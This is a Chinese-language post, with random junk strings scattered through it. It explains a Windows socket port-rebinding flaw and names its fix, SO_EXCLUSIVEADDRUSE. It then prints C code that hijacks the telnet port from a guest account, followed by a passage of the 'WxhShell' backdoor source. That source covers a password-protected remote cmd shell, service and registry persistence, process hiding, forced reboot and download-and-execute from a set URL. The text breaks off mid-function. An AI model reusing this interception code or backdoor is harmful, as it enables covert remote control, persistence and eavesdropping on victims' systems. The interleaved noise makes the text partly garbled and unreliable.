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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ls#O0 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (Grj_p6O V@cRJ3ZF saddr.sin_family = AF_INET; mb\vHu*53 @/|sOF;8W saddr.sin_addr.s_addr = htonl(INADDR_ANY); ;zz"95X7 LnR3C:NO k bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 5dYIL` &+%CC 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 <&W3\/xx S2j7(T;~YB 这意味着什么?意味着可以进行如下的攻击: 0r+-}5aSl5 t@)~{W
{ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 =X+DC&]%! :~6%nFo 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) AZ!G-73 |Zkcs]8M! 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 !K`;fp! @,zBZNX
y 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 $o]suF;3 dqd Qt_ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 B%'Np7 ,9W 0fm\t 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 f_;3|i E7*1QR{Q 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 }3)$aI_
KJ'MK~g #include HJ_xg6.x #include ?A2EuvQH] #include xx/DD%IZ #include |k?,4
Pk DWORD WINAPI ClientThread(LPVOID lpParam); ,QG,tf? int main() ;&:UxmTf { yfP&Q<| WORD wVersionRequested; %tQIKjsVaY DWORD ret; Mc@p~5!M WSADATA wsaData; -4GSGR'L&y BOOL val; QRt(?96
SOCKADDR_IN saddr; }14.u&4 SOCKADDR_IN scaddr; ]G|@F
: int err; "q]v2t SOCKET s; u45e>F= SOCKET sc; V|b?H6Q int caddsize; zRf]SZ(tO HANDLE mt; YK"({Z>U DWORD tid; ZO0_:T#Z wVersionRequested = MAKEWORD( 2, 2 ); {/B) YR err = WSAStartup( wVersionRequested, &wsaData ); s'LG3YV-< if ( err != 0 ) { R`s /^0 printf("error!WSAStartup failed!\n"); )NyGV!Zuu return -1; lG jdDqi } $,6= .YuY saddr.sin_family = AF_INET; ](8XC_-U' Uv%"45&7 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 p8F|]6Z NPf,9c; saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); }m0Lr:vq<r saddr.sin_port = htons(23); M5P63=1+ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) FIG5]u { w(mn@Qc printf("error!socket failed!\n"); Kz^aW return -1; @?gH3Y_ } I94;1(Cs% val = TRUE; F}.Af=<Q //SO_REUSEADDR选项就是可以实现端口重绑定的 39k
P)cD if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) nz>A\H { k Mwt&6wS printf("error!setsockopt failed!\n"); =]7 \-- return -1; nNQ\rO } J!yc9Q //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; TxxW/f9D //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Ww8C![ , //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 b<:s{f"t, }Pw5*duq if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) !$_mWz { o8Bo%OjE ret=GetLastError(); SkPv.H0Id printf("error!bind failed!\n"); ,pAMQ5 return -1; [ >vS+G } y& Dd listen(s,2); 8mCr6$|% while(1) ybYSz@7 { MTLcLmdO caddsize = sizeof(scaddr); v,>q]!
|a //接受连接请求 br'~SXl
sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); P *%bG 4 if(sc!=INVALID_SOCKET) YjdH7.js { poXkH@[O mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); -$T5@ if(mt==NULL) :mg#&MZj< { &Kjqdp printf("Thread Creat Failed!\n"); A= ,q& break; K-vso4@BJ } x/9`2X`~ } - MBK/ CloseHandle(mt); ~zRW*pd } ?BWWb
closesocket(s); 3QXGbu}:h! WSACleanup(); +mF}j=k return 0; R[_7ab]A } T /]ayc: DWORD WINAPI ClientThread(LPVOID lpParam) '{7A1yJnY% { kg
!@i 7 SOCKET ss = (SOCKET)lpParam; +vYm: SOCKET sc; c4;
`3 unsigned char buf[4096]; ]v9<^! SOCKADDR_IN saddr; |
sQ5`lV? long num; px-*uh< DWORD val; BwL:B\ DWORD ret; +;*])N%q //如果是隐藏端口应用的话,可以在此处加一些判断 ]k,fEn( //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 65<p: saddr.sin_family = AF_INET; C?E;sRr0 saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); f$H"|Mbe saddr.sin_port = htons(23); FE_n+^|k< if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;9prsvf
{ |
C2k( printf("error!socket failed!\n"); 'z!I#Y!Y return -1; BJ&>'rc } :X;8$.z val = 100; { !FrI@ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8fDnDA.e { bk>M4l61 ret = GetLastError(); w5&UG/z%l return -1; q.g!WLiI } 6
#QS5 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1F$a
My? { G LE`ba ret = GetLastError(); {8UBxFIM( return -1; ^U`[P@T } 0<^K0>lm
p if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) "ENgu/A! { Ay2|@1e printf("error!socket connect failed!\n"); *1elUI2Rg closesocket(sc); !\!fd(BN closesocket(ss); >iG` return -1; xy|;WB } 63k8j[$ while(1) gbI0?G6XN/ { C6/,-?%) //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 x^C,xP[#Y; //如果是嗅探内容的话,可以再此处进行内容分析和记录 @c{Z?>dUc# //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 31bKgU{ num = recv(ss,buf,4096,0); "@Te!.~A. if(num>0) k_y@vW3 send(sc,buf,num,0); #G]s.by(' else if(num==0) O:u^jcXA break; <89js87 num = recv(sc,buf,4096,0); \x|(`;{ if(num>0) {yfG_J send(ss,buf,num,0); kvo741RO6 else if(num==0) kmP0gT{Sj break; 0TVO'$Gvi } 5))?,YkrrI closesocket(ss); |5Z@7 closesocket(sc); ff{ESFtD return 0 ; 9|OQHy } ^:DlrI$ -
+>~ 9g 2x+@5T^ ========================================================== =fRP9`y -`Z5#8P 下边附上一个代码,,WXhSHELL
xXHz)w {N
_v4}) ========================================================== }uZhoA hL8QA! #include "stdafx.h" MiRMjQ2 ^ ]`<nO #include <stdio.h> O?{pln #include <string.h> ||/noUK #include <windows.h> x9@%L{* #include <winsock2.h> n*-#VKK^ #include <winsvc.h> U2SxRFs >
#include <urlmon.h> HPU7
` b4 v3~,1)#aI #pragma comment (lib, "Ws2_32.lib") ) d\Se9! #pragma comment (lib, "urlmon.lib") dnN" JQ.ZAhv #define MAX_USER 100 // 最大客户端连接数 nYE_WXY3V #define BUF_SOCK 200 // sock buffer 8LiRZ" #define KEY_BUFF 255 // 输入 buffer 43 |zjE Oj<2_u #define REBOOT 0 // 重启 Ujw^j #define SHUTDOWN 1 // 关机 !8P#t{2_| ch< zpo: #define DEF_PORT 5000 // 监听端口 B4J^ rzK VS 8|lgQ #define REG_LEN 16 // 注册表键长度 Y6g[y\*t #define SVC_LEN 80 // NT服务名长度 Que)kjp SYl:X // 从dll定义API v
7Pv&| typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,Cx5(
~kU typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); SXgpj typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <Q szmE typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); fHwh6| ;9;.!4g/T // wxhshell配置信息 [KCh,'& struct WSCFG { o@;w!' int ws_port; // 监听端口 hW/*]7AM^ char ws_passstr[REG_LEN]; // 口令 MRmz/ZmRM int ws_autoins; // 安装标记, 1=yes 0=no 4(Y5n? / char ws_regname[REG_LEN]; // 注册表键名 E8IWHh_ char ws_svcname[REG_LEN]; // 服务名 +Cau/sPXL char ws_svcdisp[SVC_LEN]; // 服务显示名 0&EX-DbV char ws_svcdesc[SVC_LEN]; // 服务描述信息 n>iPAD char ws_passmsg[SVC_LEN]; // 密码输入提示信息 U7:~@eYy int ws_downexe; // 下载执行标记, 1=yes 0=no y@hdN=- char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" A7:
o q7b char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *~fN^{B'! 4e*0kItC }; i*2z7M Y
f+/^1~^ // default Wxhshell configuration -3KB:K< struct WSCFG wscfg={DEF_PORT, rhL<JTS "xuhuanlingzhe", 2|Tt3/Rn 1, ,PIdPaV-- "Wxhshell", R]ppA=1*_l "Wxhshell", b^A&K@[W#, "WxhShell Service", 0BE%~W "Wrsky Windows CmdShell Service", 2%WZ-l!i "Please Input Your Password: ", eKu&_q 1, iUl{_vb " http://www.wrsky.com/wxhshell.exe", #0 ^QUOp "Wxhshell.exe" /$q;-/DnTZ }; YQ?|Vb
U gg8T],s1!a // 消息定义模块 W#??fae char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3bPVKsY char *msg_ws_prompt="\n\r? for help\n\r#>"; JgK?j&!hs: char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; s]B^Sz= char *msg_ws_ext="\n\rExit."; {5_*f)$[H char *msg_ws_end="\n\rQuit."; -j<UhW char *msg_ws_boot="\n\rReboot..."; Z{ p;J^: char *msg_ws_poff="\n\rShutdown..."; e HOm^.gd char *msg_ws_down="\n\rSave to "; #XmN&83_ u1<xt1K char *msg_ws_err="\n\rErr!"; $_)f|\s char *msg_ws_ok="\n\rOK!"; <[pU rJfTr d$Mj5wN:q char ExeFile[MAX_PATH]; :0srFg?X int nUser = 0; EA8(_} HANDLE handles[MAX_USER]; %:oGyV7a int OsIsNt; mexI} h]'fX SERVICE_STATUS serviceStatus; v4Nb/Y SERVICE_STATUS_HANDLE hServiceStatusHandle; dxASU|Yo9 TyK;
q{ // 函数声明 6J=~ *& int Install(void); fA+M/}= int Uninstall(void); WG^D$L: int DownloadFile(char *sURL, SOCKET wsh); )3u[btm int Boot(int flag); fSun{?{ void HideProc(void); WxXVL" int GetOsVer(void); VD=$:F] int Wxhshell(SOCKET wsl); *w%;$\^ void TalkWithClient(void *cs); 4&&j7$aV int CmdShell(SOCKET sock); EIF[e|kZ< int StartFromService(void); -7+Fb^"L int StartWxhshell(LPSTR lpCmdLine); esLY1c%"/ m\~[^H~g VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #b8/gRfS VOID WINAPI NTServiceHandler( DWORD fdwControl ); E8-p
,e, 3^`bf=R // 数据结构和表定义 w=f8UtY9@A SERVICE_TABLE_ENTRY DispatchTable[] = ^Xb!dnT.*a { bUWtlg {wscfg.ws_svcname, NTServiceMain}, p=r{ODw#3 {NULL, NULL} 5-&P4 }; j+Tk|GRab C8{CKrVE // 自我安装 RF6|zCWuI int Install(void) Dxu)by { L9AfLw5&X char svExeFile[MAX_PATH]; Dd{{d?;B HKEY key; &7<~Q\XZbI strcpy(svExeFile,ExeFile); 7tr.&A^c IjrTM{f // 如果是win9x系统,修改注册表设为自启动 w{UU( if(!OsIsNt) { (m,O!935f if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i:zA( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *&AK.n_ RegCloseKey(key); 6zNN 8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h{TnvI/" RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ({i| RegCloseKey(key); I5D\Z return 0; 9(B) } 'dht5iI;Yw } f,?7,? x } DSnsi@Mi else { s ^}V (8>k_ // 如果是NT以上系统,安装为系统服务 ^\wosB3E SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); eM~i (]PY if (schSCManager!=0) UcK!v*3E { ^^ ?ECnpcU SC_HANDLE schService = CreateService 979L] H# ( VLOyUt~O# schSCManager, f|apk,o_ wscfg.ws_svcname, SD697L9 wscfg.ws_svcdisp, $[1 M2>[ SERVICE_ALL_ACCESS, ,Qh4=+jwqn SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , N4D_ 43jz SERVICE_AUTO_START, H?B.Hp| SERVICE_ERROR_NORMAL, JE?XZp@V svExeFile, h
knobk NULL, FEP\5d> NULL, ph|3M<q6 NULL, )
.]Z}g& NULL, 4mPg; n NULL */S,CV ); 1`)R#$h if (schService!=0) * dNMnZ@Y { ,Y&kW'2 CloseServiceHandle(schService); =lffr?#&B CloseServiceHandle(schSCManager); 0u0Hl% nl strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2s(K4~e e strcat(svExeFile,wscfg.ws_svcname); !-7(.i - if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [Q%3=pm_ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "w7:{E5e RegCloseKey(key); =!{dKz-& return 0; -'I)2/%g } "oTwMU } J5l:_hZUV CloseServiceHandle(schSCManager); jwE<}y
I } EM([N*8o
} (d~'H{q 8EP^M~rv return 1; RZz] .Nx } |epe;/ 8p!PR^OM@ // 自我卸载 :`uo]B" int Uninstall(void) N
.SszZh { Nd( $s[ HKEY key; BE m%x0y <vj&e(D^ if(!OsIsNt) { }ShZ4 xMz if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g:*yjj RegDeleteValue(key,wscfg.ws_regname); Fs=nAn# RegCloseKey(key); IYj-cm if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [`
i;gx[^ RegDeleteValue(key,wscfg.ws_regname); [}VEDx RegCloseKey(key); )@sz\yI%U return 0; -MU^%t;- } `rM-b'D } vu*08<M~i| } WM"I
r1 else { czT$mKj3 Aimgfxag SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); H-S28%. if (schSCManager!=0) E]e6a^J# { bZKK'd$I SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \dCdyl6V if (schService!=0) 3|~(9b{+ { !u=[/> if(DeleteService(schService)!=0) { ?vk&k(FT CloseServiceHandle(schService); ?HBc7$nW CloseServiceHandle(schSCManager); ?Jx8z`( return 0; ?= fJu\; } fa6L+wt4O CloseServiceHandle(schService); _H;ObTiB } &K\di*kN CloseServiceHandle(schSCManager); R!- RSkB } <4VUzgX2 } 3 =S.- f:=?"MX7 return 1; $A-b-`X } mH8"k+k =?/J.[)<* // 从指定url下载文件 \?}ZXKuJj int DownloadFile(char *sURL, SOCKET wsh) ABx0IdOcI { {Ji[d.cY HRESULT hr; fdPg{3x*k char seps[]= "/"; iveWau292 char *token; Ddu$49{S: char *file; /FQumqbnt char myURL[MAX_PATH]; gsZCWT char myFILE[MAX_PATH]; 2B*9]AHny ]pFYAe ? strcpy(myURL,sURL); u9?85 token=strtok(myURL,seps); 7o;}"Y1 while(token!=NULL) uODpIxN { J
\G8g,@ file=token; N7[i443a token=strtok(NULL,seps); v/(< fI^ } 0/),ylCj WJhI6lu GetCurrentDirectory(MAX_PATH,myFILE); ?6a:!^eL strcat(myFILE, "\\"); 6r^(VT
strcat(myFILE, file); z*kn.sW send(wsh,myFILE,strlen(myFILE),0); 92S<TAdPP send(wsh,"...",3,0); CjD2FnjT hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?}O\'Fa8 if(hr==S_OK) 7$/ O{GBJ return 0; k%.IIVRx else fRq2sK;+ return 1; k ELV]iWb F_@PSA+ } *)"`v] (LGx;9S? // 系统电源模块 !d^5mati)T int Boot(int flag) >7
4'g} { 0Y[mh@( HANDLE hToken; l0]z Zcpt TOKEN_PRIVILEGES tkp; #N7@p}P "tm2YUG},s if(OsIsNt) { W4X=.vr OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); w+[r$+z!k LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I>fEwMk~ tkp.PrivilegeCount = 1; M$|^?U>cm tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #lF8"@)a-$ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); X}_kLfP/9 if(flag==REBOOT) { &;*jMu6 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &i6WVNGy return 0; z0doLb^! } poQY X5 else { }oloMtp$ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /\OjtE return 0; X 5pp8~ } #dU-*wmJ } -2bu`oD
` else { uh@ZHef[l if(flag==REBOOT) { >P/.X^G0 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) IhY[c/|i return 0; LzP+l>m } 0~)cAKus else { mD=x3d if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) w
{6kU
return 0; vz/.*u } 3/oVl
6 } ^jq QG+`? jDOB(fE return 1; %Q]m6ciAM } 3)p#}_u{ RCgZ GP // win9x进程隐藏模块 {rf.sN~M void HideProc(void) vm
1vX; { w}X <]u / 9^:*, HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); FUiEayM if ( hKernel != NULL ) 0LeR#l:I { p^MV<}kk pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8<{)|GoqB ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]uG9WT6l FreeLibrary(hKernel); L;wzvz\+ } hZ[,. M9M~[[
return; R:fERj<s } MB%yC]w8 l'y)L@|Qrh // 获取操作系统版本 ?45bvkCT int GetOsVer(void) 2tMe# V { 0z.oPV@ OSVERSIONINFO winfo; 3E)
X(WJY winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); criOJ- GetVersionEx(&winfo); sZxf. if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Pq KbG<}Y return 1; V*Ta[)E else Mj2`p#5wKh return 0; lhZXq!2p } Eg$ I GHaD32 // 客户端句柄模块 XOe)tz
L int Wxhshell(SOCKET wsl) ~M _@_ { a9}7K/Y=d SOCKET wsh; p.~hZ+ x_ struct sockaddr_in client; RoS&oGYqR DWORD myID; 0g o{gUI YHSdaocp while(nUser<MAX_USER) FhpS#,Y$ { 1P;J%.{ int nSize=sizeof(client); /g(WCKva wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1Tm,#o if(wsh==INVALID_SOCKET) return 1; "}fJ 2G3 :qy< G!o handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Qqm'Yom%T if(handles[nUser]==0) Dc-v`jZ@) closesocket(wsh); oG{0{%*@ else lC|`DG-B nUser++; ObnQ,x( } (#KSwWo{ed WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (JenTL`%u rvfS[@>v return 0; 76epkiz;= } =#L\fe)q) icS%])3LF // 关闭 socket >h)D~U(H void CloseIt(SOCKET wsh) &|MdBJ { qca,a3k closesocket(wsh); B6UTooj nUser--; `X)y5*##wq ExitThread(0); Lp31Y .4 } tx`gXtO$ BRSIg] // 客户端请求句柄 inQ1$ void TalkWithClient(void *cs) {+Zj}3o { ^`iqa-1 'rl?'~={p SOCKET wsh=(SOCKET)cs; e\)r"!?H` char pwd[SVC_LEN]; -A1@a=q char cmd[KEY_BUFF]; aNUU' [ char chr[1]; 8/gA]I
6=# int i,j; aoqG*qh}b 1#tFO while (nUser < MAX_USER) { {gT4Oq__ 7!sR%h5p if(wscfg.ws_passstr) { ;}B6`v if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2y`X) //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); MZd?cS //ZeroMemory(pwd,KEY_BUFF); v]h^0WU i=0; SL[ EOz# while(i<SVC_LEN) { M!tR>NMH GAP,$xAaW // 设置超时 E[NszM[P fd_set FdRead; "UYlC0 S\ struct timeval TimeOut; P(xgIMc H FD_ZERO(&FdRead); A<}nXHs- FD_SET(wsh,&FdRead); #J'V,_wH TimeOut.tv_sec=8; PiIP%$72O TimeOut.tv_usec=0; )tm%0z7R int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); kD46Le++B if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); f4;V7DJ * ,Le--t if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6o.Dgt/f pwd =chr[0]; cv5+[;(b if(chr[0]==0xd || chr[0]==0xa) { M 4E|^p=5 pwd=0; K%.t%)A_3 break; kO/YO)g } bfq%.<W i++; yZ-Ql11 } &3Ry0?RET ,7Dm p7 // 如果是非法用户,关闭 socket \E1CQP- if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =F% <W7 } 1*?XI ~^/BAc send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); LJSx~)@ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]+5Y\~I l0PXU)>C while(1) { ,&iEn}xG7i /b]+RXvxj ZeroMemory(cmd,KEY_BUFF); #y8Esik |RH^|2:x9Q // 自动支持客户端 telnet标准 ,f~)CXNT? j=0; kl|m @Nxp while(j<KEY_BUFF) { JLGC'mbJ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4N)45@jk[ cmd[j]=chr[0]; F?Fxm*Wa/ if(chr[0]==0xa || chr[0]==0xd) { UNA!vzOb cmd[j]=0; gm$<U9L\v break; ; EsfHCi) } &`}d;r|yn1 j++; yujv^2/ } A
|P
wm` z(#CO<C.t // 下载文件 _ xM}*_<VP if(strstr(cmd,"http://")) { J u"/#@ send(wsh,msg_ws_down,strlen(msg_ws_down),0); [U,hb1Wi3 if(DownloadFile(cmd,wsh)) s(:N>K5* send(wsh,msg_ws_err,strlen(msg_ws_err),0); !jg<
S>S5 else f3*SIKi send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8CUl |I ~ } MSb0J ` else { je74As[ n){u!z)Al switch(cmd[0]) { GG(}#Z5h b?-KC\}v // 帮助 NftR2 case '?': { q3D,hG_ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xf;Tk break; }}LjEOvL= } :n OCs // 安装 ft$
'UJ%j case 'i': { @=?#nB& if(Install()) 7WHq'R{@ send(wsh,msg_ws_err,strlen(msg_ws_err),0); !]MGIh#u else &S[>*+}{+ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z
J V>; break; G)gPL]C0 } BSY7un+`: // 卸载 km,@yU case 'r': { nu X`>Oy if(Uninstall()) *>T@3G.{Rm send(wsh,msg_ws_err,strlen(msg_ws_err),0); zC rM~ else JD~]aoH send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KkSv23In break; h`D+NZtWm } d z\yP
v~ // 显示 wxhshell 所在路径 +
7nA; C case 'p': { yG<Q t+D char svExeFile[MAX_PATH]; ^=
'+#|: strcpy(svExeFile,"\n\r"); $*7AG strcat(svExeFile,ExeFile); ~,{nBp9* send(wsh,svExeFile,strlen(svExeFile),0); qdZo
cTf' break; Z#@<|{eI } %.s"l6 W // 重启 !Xzy: case 'b': { V0*9Tnc send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /<\do 1 if(Boot(REBOOT)) .WS 7gTw send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7Pr5`#x# else { :+ AqY(Gz closesocket(wsh); ~Dj_N$_+9 ExitThread(0); Lmc"qFzK } lmx'w break; {WuUzq` } #Qd"d3QG // 关机 Gu%}B@ 4^ case 'd': { TYedem<$ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {+ WI>3 if(Boot(SHUTDOWN)) 8cbgP$X send(wsh,msg_ws_err,strlen(msg_ws_err),0); `IK3e9QpcA else { R-5e9vyS closesocket(wsh); /&RS+By(i ExitThread(0); 9]|G-cyt } Tl*FK?)MC^ break; ;CA7\&L> } nn/_>%Y // 获取shell gX]'RBTb case 's': {
Lu~M=Fh CmdShell(wsh); SA.,Q~_T7 closesocket(wsh); G=>LW1E| ExitThread(0); h|.*V$3 break; =mh)b]].4\ } 6}q# c // 退出 tSq`_[@ case 'x': { I< Rai" send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); bdr!|WZ CloseIt(wsh); rY(^6[ ! break; \E,Fe:/g } yQ+C}8r5 // 离开 lR3JyYY{X case 'q': { J,^e q@( send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6n'XRfQp)& closesocket(wsh); ?)XPY< WSACleanup(); D4ud|$s1 exit(1);
!\_li+ break; xkkW?[& } z*&r@P
-
} OEs! H]v } g}'(V>( Z#|IMmT;*= // 提示信息 !e:HE/&>i if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WAp#[mW.fx } n*i1QC } ' Y.s}Duj @W*Zrc1NF return; ;Z}V}B } GA@Zfcg O$ ;:5zT // shell模块句柄 +vCW${U int CmdShell(SOCKET sock) X&({`Uw<K { 0:3<33]x STARTUPINFO si; 0x8aKq\' ZeroMemory(&si,sizeof(si)); P6o-H$
a+ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [<7Vv_\Q si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; oj~0zJI PROCESS_INFORMATION ProcessInfo; zmh3
Qa( char cmdline[]="cmd"; ~<w9a] CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }u8 D5Q<( return 0; GHo=)NTjy } ^DS+O> ;COZHj9b // 自身启动模式 R?$Nl int StartFromService(void) q=h~zjQ?R { oyY0!w,Y typedef struct ~85Pgb< { mu =H&JC DWORD ExitStatus; fF} NPl DWORD PebBaseAddress; aqAWaO DWORD AffinityMask; o%\pI% DWORD BasePriority; (3+:/,{'$ ULONG UniqueProcessId; sz%'=J~!V ULONG InheritedFromUniqueProcessId; e6WKZ~
vo } PROCESS_BASIC_INFORMATION; b_T?jCyW GS4
HYF PROCNTQSIP NtQueryInformationProcess; ce\ F~8y \Q<Ur&J]% static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0 SeDBs static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; G6L
